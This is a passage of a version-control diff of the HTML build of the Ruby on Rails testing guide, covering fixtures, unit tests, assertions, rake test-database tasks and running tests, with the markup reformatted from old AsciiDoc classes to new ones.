size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size - 69 %&gt;</span>
- brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 13.days.from_now.to_s(:db) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Anything encased within the</p></div>
+ brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 13.days.from_now.to_s(:db) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Anything encased within the</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p></div>
+<pre><tt><span style="color: #FF0000">&lt;% %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p></div>
<h4 id="_fixtures_in_action">2.3.4. Fixtures in Action</h4>
-<div class="para"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Remove any existing data from the table corresponding to the fixture
@@ -408,7 +275,7 @@ Dump the fixture data into a variable in case you want to access it directly
</li>
</ul></div>
<h4 id="_hashes_with_special_powers">2.3.5. Hashes with Special Powers</h4>
-<div class="para"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
+<div class="paragraph"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -418,9 +285,8 @@ http://www.gnu.org/software/src-highlite -->
users<span style="color: #990000">(:</span>david<span style="color: #990000">)</span>
<span style="font-style: italic"><span style="color: #9A1900"># this will return the property for david called id</span></span>
-users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id
-</tt></pre></div></div>
-<div class="para"><p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p></div>
+users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id</tt></pre></div></div>
+<div class="paragraph"><p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -430,13 +296,12 @@ http://www.gnu.org/software/src-highlite -->
david <span style="color: #990000">=</span> users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>find
<span style="font-style: italic"><span style="color: #9A1900"># and now we have access to methods only available to a User class</span></span>
-email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span>
-</tt></pre></div></div>
+email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span></tt></pre></div></div>
</div>
<h2 id="_unit_testing_your_models">3. Unit Testing your Models</h2>
<div class="sectionbody">
-<div class="para"><p>In Rails, unit tests are what you write to test your models.</p></div>
-<div class="para"><p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.</p></div>
+<div class="paragraph"><p>In Rails, unit tests are what you write to test your models.</p></div>
+<div class="paragraph"><p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -445,7 +310,7 @@ email<span style="color: #990000">(</span>david<span style="color: #990000">.</s
<td class="content">For more information on Rails <em>scaffolding</em>, refer to <a href="../getting_started_with_rails.html">Getting Started with Rails</a></td>
</tr></table>
</div>
-<div class="para"><p>When you use <tt>script/generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p></div>
+<div class="paragraph"><p>When you use <tt>script/generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>$ script/generate scaffold post title:string body:text
@@ -455,7 +320,7 @@ create test/unit/post_test.rb
create test/fixtures/posts.yml
...</tt></pre>
</div></div>
-<div class="para"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
+<div class="paragraph"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -468,42 +333,37 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-</tt></pre></div></div>
-<div class="para"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span></tt></pre></div></div>
+<div class="paragraph"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
-</tt></pre></div></div>
-<div class="para"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You'll see those methods a little later in this guide.</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase</tt></pre></div></div>
+<div class="paragraph"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You&#8217;ll see those methods a little later in this guide.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
-</tt></pre></div></div>
-<div class="para"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth</tt></pre></div></div>
+<div class="paragraph"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
-<div class="ilist"><ul>
+<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
+<div class="ulist"><ul>
<li>
<p>
is this value = that value?
@@ -521,13 +381,13 @@ does this line of code throw an exception?
</li>
<li>
<p>
-is the user's password greater than 5 characters?
+is the user&#8217;s password greater than 5 characters?
</p>
</li>
</ul></div>
-<div class="para"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
+<div class="paragraph"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
<h3 id="_preparing_you_application_for_testing">3.1. Preparing you Application for Testing</h3>
-<div class="para"><p>Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:</p></div>
+<div class="paragraph"><p>Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -535,620 +395,895 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
<span style="color: #990000">...</span>
-$ rake db<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>load
-</tt></pre></div></div>
-<div class="para"><p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>developemnt</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run <tt>db:test:prepare</tt> as it first checks for pending migrations and warns you appropriately.</p></div>
+$ rake db<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>load</tt></pre></div></div>
+<div class="paragraph"><p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>developemnt</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run <tt>db:test:prepare</tt> as it first checks for pending migrations and warns you appropriately.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content"><tt>db:test:prepare</tt> will fail with an error if db/schema.rb doesn't exists.</td>
+<td class="content"><tt>db:test:prepare</tt> will fail with an error if db/schema.rb doesn&#8217;t exists.</td>
</tr></table>
</div>
<h4 id="_rake_tasks_for_preparing_your_application_for_testing">3.1.1. Rake Tasks for Preparing your Application for Testing</h4>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Tasks </th>
+<th align="left">Description</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>rake db:test:clone</tt></p></td>
+<td align="left"><p class="table">Recreate the test database from the current environment&#8217;s database schema</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake db:test:clone_structure</tt></p></td>
+<td align="left"><p class="table">Recreate the test databases from the development structure</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake db:test:load</tt></p></td>
+<td align="left"><p class="table">Recreate the test database from the current <tt>schema.rb</tt></p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake db:test:prepare</tt></p></td>
+<td align="left"><p class="table">Check for pending migrations and load the test schema</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake db:test:purge</tt></p></td>
+<td align="left"><p class="table">Empty the test database.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can see all these rake tasks and their descriptions by running <tt>rake \-\-tasks \-\-describe</tt></td>
+</tr></table>
+</div>
+<h3 id="_running_tests">3.2. Running Tests</h3>
+<div class="paragraph"><p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>Tasks Description</tt></pre>
-</div></div>
-<div class="para"><p><tt>rake db:test:clone</tt> Recreate the test database from the current environment's database schema
-<tt>rake db:test:clone_structure</tt> Recreate the test databases from the development structure
-<tt>rake db:test:load</tt> Recreate the test database from the current <tt>schema.rb</tt>
-<tt>rake db:test:prepare</tt> Check for pending migrations and load the test schema
-<tt>rake db:test:purge</tt> Empty the test database.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-TIP: You can see all these rake tasks and their descriptions by running +rake \-\-tasks \-\-describe+
-
-=== Running Tests ===
-
-Running a test is as simple as invoking the file containing the test cases through Ruby:
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ cd <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
+$ ruby unit/post_test<span style="color: #990000">.</span>rb
-[source, shell]</tt></pre>
-</div></div>
-<div class="para"><p>$ cd test
-$ ruby unit/post_test.rb</p></div>
-<div class="para"><p>Loaded suite unit/post_test
+Loaded suite unit/post_test
Started
-.
-Finished in 0.023513 seconds.</p></div>
-<div class="para"><p>1 tests, 1 assertions, 0 failures, 0 errors</p></div>
+<span style="color: #990000">.</span>
+Finished <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #993399">0.023513</span> seconds<span style="color: #990000">.</span>
+
+<span style="color: #993399">1</span> tests<span style="color: #990000">,</span> <span style="color: #993399">1</span> assertions<span style="color: #990000">,</span> <span style="color: #993399">0</span> failures<span style="color: #990000">,</span> <span style="color: #993399">0</span> errors</tt></pre></div></div>
+<div class="paragraph"><p>This will run all the test methods from the test case.</p></div>
+<div class="paragraph"><p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>
-This will run all the test methods from the test case.
+<pre><tt>$ ruby unit/post_test.rb -n test_truth
-You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.</tt></pre>
-</div></div>
-<div class="para"><p>$ ruby unit/post_test.rb -n test_truth</p></div>
-<div class="para"><p>Loaded suite unit/post_test
+Loaded suite unit/post_test
Started
.
-Finished in 0.023513 seconds.</p></div>
-<div class="para"><p>1 tests, 1 assertions, 0 failures, 0 errors</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
+Finished in 0.023513 seconds.
-To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-
-[source,ruby]</tt></pre>
+1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
</div></div>
-<div class="para"><p>def test_should_not_save_post_without_title
- post = Post.new
- assert !post.save
-end</p></div>
+<div class="paragraph"><p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p></div>
+<div class="paragraph"><p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
+ post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+ assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Let us run this newly added test.</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>
-Let us run this newly added test.</tt></pre>
-</div></div>
-<div class="para"><p>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
F
-Finished in 0.197094 seconds.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> 1) Failure:
+Finished in 0.197094 seconds.
+
+ 1) Failure:
test_should_not_save_post_without_title(PostTest)
[unit/post_test.rb:11:in `test_should_not_save_post_without_title'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-&lt;false&gt; is not true.</tt></pre>
-</div></div>
-<div class="para"><p>1 tests, 1 assertions, 1 failures, 0 errors</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
+&lt;false&gt; is not true.
-[source,ruby]</tt></pre>
+1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
</div></div>
-<div class="para"><p>def test_should_not_save_post_without_title
- post = Post.new
- assert !post.save, "Saved the post without a title"
-end</p></div>
+<div class="paragraph"><p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
+ post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+ assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save<span style="color: #990000">,</span> <span style="color: #FF0000">"Saved the post without a title"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Running this test shows the friendlier assertion message:</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>
-Running this test shows the friendlier assertion message:</tt></pre>
-</div></div>
-<div class="para"><p>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
F
-Finished in 0.198093 seconds.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> 1) Failure:
+Finished in 0.198093 seconds.
+
+ 1) Failure:
test_should_not_save_post_without_title(PostTest)
[unit/post_test.rb:11:in `test_should_not_save_post_without_title'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
Saved the post without a title.
-&lt;false&gt; is not true.</tt></pre>
-</div></div>
-<div class="para"><p>1 tests, 1 assertions, 1 failures, 0 errors</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-Now to get this test to pass we can add a model level validation for the _title_ field.
+&lt;false&gt; is not true.
-[source,ruby]</tt></pre>
+1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
</div></div>
-<div class="para"><p>class Post &lt; ActiveRecord::Base
- validates_presence_of :title
-end</p></div>
+<div class="paragraph"><p>Now to get this test to pass we can add a model level validation for the <em>title</em> field.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_presence_of <span style="color: #990000">:</span>title
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now the test should pass. Let us verify by running the test again:</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>
-Now the test should pass. Let us verify by running the test again:</tt></pre>
-</div></div>
-<div class="para"><p>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
.
-Finished in 0.193608 seconds.</p></div>
-<div class="para"><p>1 tests, 1 assertions, 0 failures, 0 errors</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with link:http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html[15 TDD steps to create a Rails application].
+Finished in 0.193608 seconds.
-To see how an error gets reported, here's a test containing an error:
-
-[source,ruby]</tt></pre>
+1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
</div></div>
-<div class="para"><p>def test_should_report_error
- # some_undefined_variable is not defined elsewhere in the test case
+<div class="paragraph"><p>Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as <em>Test-Driven Development</em> (TDD).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Many Rails developers practice <em>Test-Driven Development</em> (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 TDD steps to create a Rails application</a>.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>To see how an error gets reported, here&#8217;s a test containing an error:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_report_error
+ <span style="font-style: italic"><span style="color: #9A1900"># some_undefined_variable is not defined elsewhere in the test case</span></span>
some_undefined_variable
- assert true
-end</p></div>
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now you can see even more output in the console from running the tests:</p></div>
<div class="listingblock">
<div class="content">
-<pre><tt>
-Now you can see even more output in the console from running the tests:</tt></pre>
-</div></div>
-<div class="para"><p>$ ruby unit/post_test.rb -n test_should_report_error
+<pre><tt>$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite unit/post_test
Started
E
-Finished in 0.195757 seconds.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> 1) Error:
+Finished in 0.195757 seconds.
+
+ 1) Error:
test_should_report_error(PostTest):
NameError: undefined local variable or method `some_undefined_variable' for #&lt;PostTest:0x2cc9de8&gt;
/opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
unit/post_test.rb:16:in `test_should_report_error'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'</tt></pre>
-</div></div>
-<div class="para"><p>1 tests, 0 assertions, 0 failures, 1 errors</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-Notice the 'E' in the output. It denotes a test with error.
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
-NOTE: The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-
-=== What to Include in Your Unit Tests ===
-
-Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-
-=== Assertions Available ===
-
-By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-[grid="all"]
-`-----------------------------------------------------------------`------------------------------------------------------------------------
-Assertion Purpose</tt></pre>
+1 tests, 0 assertions, 0 failures, 1 errors</tt></pre>
</div></div>
-<div class="para"><p><tt>assert( boolean, [msg] )</tt> Ensures that the object/expression is true.
-<tt>assert_equal( obj1, obj2, [msg] )</tt> Ensures that <tt>obj1 == obj2</tt> is true.
-<tt>assert_not_equal( obj1, obj2, [msg] )</tt> Ensures that <tt>obj1 == obj2</tt> is false.
-<tt>assert_same( obj1, obj2, [msg] )</tt> Ensures that <tt>obj1.equal?(obj2)</tt> is true.
-<tt>assert_not_same( obj1, obj2, [msg] )</tt> Ensures that <tt>obj1.equal?(obj2)</tt> is false.
-<tt>assert_nil( obj, [msg] )</tt> Ensures that <tt>obj.nil?</tt> is true.
-<tt>assert_not_nil( obj, [msg] )</tt> Ensures that <tt>obj.nil?</tt> is false.
-<tt>assert_match( regexp, string, [msg] )</tt> Ensures that a string matches the regular expression.
-<tt>assert_no_match( regexp, string, [msg] )</tt> Ensures that a string doesn't matches the regular expression.
-<tt>assert_in_delta( expecting, actual, delta, [msg] )</tt> Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.
-<tt>assert_throws( symbol, [msg] ) { block }</tt> Ensures that the given block throws the symbol.
-<tt>assert_raises( exception1, exception2, &#8230; ) { block }</tt> Ensures that the given block raises one of the given exceptions.
-<tt>assert_nothing_raised( exception1, exception2, &#8230; ) { block }</tt> Ensures that the given block doesn't raise one of the given exceptions.
-<tt>assert_instance_of( class, obj, [msg] )</tt> Ensures that <tt>obj</tt> is of the <tt>class</tt> type.
-<tt>assert_kind_of( class, obj, [msg] )</tt> Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.
-<tt>assert_respond_to( obj, symbol, [msg] )</tt> Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.
-<tt>assert_operator( obj1, operator, obj2, [msg] )</tt> Ensures that <tt>obj1.operator(obj2)</tt> is true.
-<tt>assert_send( array, [msg] )</tt> Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?
-<tt>flunk( [msg] )</tt> Ensures failure. This is useful to explicitly mark a test that isn't finished yet.</p></div>
+<div class="paragraph"><p>Notice the <em>E</em> in the output. It denotes a test with error.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</td>
+</tr></table>
+</div>
+<h3 id="_what_to_include_in_your_unit_tests">3.3. What to Include in Your Unit Tests</h3>
+<div class="paragraph"><p>Ideally you would like to include a test for everything which could possibly break. It&#8217;s a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p></div>
+<h3 id="_assertions_available">3.4. Assertions Available</h3>
+<div class="paragraph"><p>By now you&#8217;ve caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p></div>
+<div class="paragraph"><p>There are a bunch of different types of assertions you can use. Here&#8217;s the complete list of assertions that ship with <tt>test/unit</tt>, the testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It&#8217;s not required.</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Assertion </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>assert( boolean, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that the object/expression is true.</p></td>
+</tr>
+<tr>
